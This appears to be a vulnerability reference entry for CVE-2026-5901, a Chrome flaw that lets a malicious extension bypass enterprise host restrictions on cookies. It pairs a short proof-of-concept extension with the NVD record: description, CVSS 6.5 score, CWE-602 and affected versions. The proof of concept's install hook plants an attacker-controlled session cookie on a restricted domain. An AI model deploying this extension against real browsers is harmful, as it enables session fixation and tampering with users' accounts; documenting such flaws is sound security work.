CVE-2026-5901

// Conceptual PoC for CVE-2026-5901 // manifest.json { "manifest_version": 3, "name": "Cookie Exploit", "version": "1.0", "permissions": ["cookies", "activeTab"], "background": { "service_worker": "background.js" } } // background.js // This script attempts to modify cookies on restricted domains // leveraging the insufficient policy enforcement. chrome.runtime.onInstalled.addListener(() => { const targetUrl = "https://restricted-enterprise-domain.com"; const details = { url: targetUrl, name: "session_id", value: "attacker_controlled_value" }; // Due to the vulnerability, this operation bypasses enterprise host restrictions chrome.cookies.set(details, (cookie) => { if (chrome.runtime.lastError) { console.log("Failed:", chrome.runtime.lastError); } else { console.log("Cookie set successfully on restricted domain:", cookie); } }); });

{"cve": {"id": "CVE-2026-5901", "sourceIdentifier": "[email protected]", "published": "2026-04-08T22:16:29.983", "lastModified": "2026-04-13T21:14:24.103", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Insufficient policy enforcement in DevTools in Google Chrome prior to 147.0.7727.55 allowed an attacker who convinced a user to install a malicious extension to bypass enterprise host restrictions for cookie modification via a crafted Chrome Extension. (Chromium security severity: Low)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-602"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*", "versionEndExcluding": "147.0.7727.55", "matchCriteriaId": "9A68673A-1331-48AF-8860-53064F0AF310"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}, {"vulnerable": false, "criteria": "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*", "matchCriteriaId": "703AF700-7A70-47E2-BC3A-7FD03B3CA9C1"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/04/stable-channel-update-for-desktop.html", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://issues.chromium.org/issues/479673903", "source": "[email protected]", "tags": ["Issue Tracking", "Permissions Required"]}]}}